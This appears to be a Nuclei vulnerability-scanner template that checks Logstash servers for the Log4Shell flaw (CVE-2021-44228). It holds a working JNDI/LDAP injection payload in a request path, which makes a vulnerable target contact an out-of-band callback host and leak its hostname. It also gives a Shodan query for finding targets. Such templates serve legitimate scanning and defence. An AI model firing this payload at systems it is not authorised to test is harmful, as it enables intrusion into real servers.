63 lines
2.1 KiB
YAML
63 lines
2.1 KiB
YAML
id: logstash-log4j-rce
|
|
|
|
info:
|
|
name: Logstash - Remote Code Execution (Apache Log4j)
|
|
author: shaikhyaser
|
|
severity: critical
|
|
description: |
|
|
Logstash is susceptible to Log4j JNDI remote code execution. Logstash is a free and open server-side data processing pipeline that ingests data from a multitude of sources, transforms it, and then sends it to your favorite "stash."
|
|
reference:
|
|
- https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2021-44228
|
|
cwe-id: CWE-77
|
|
metadata:
|
|
max-request: 1
|
|
shodan-query: html:"logstash"
|
|
tags: cve,cve2021,rce,jndi,log4j,logstash,oast,kev
|
|
variables:
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
str: "{{rand_base(5)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /api/logstash/pipeline/${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referrer: {{RootURL}}/app/management/ingest/pipelines/
|
|
Content-Type: application/json
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- interactsh_ip
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 2
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
# digest: 490a0046304402200fdaf41bdbabc2da8278d059afcdea87f0e79935107470cb01aa743ffe59f3cd022005957563c869e9da0b4dd1bdc0c54223ff7edaace9072136421b333933f2a939:922c64590222798bb761d5b6d8e72950
|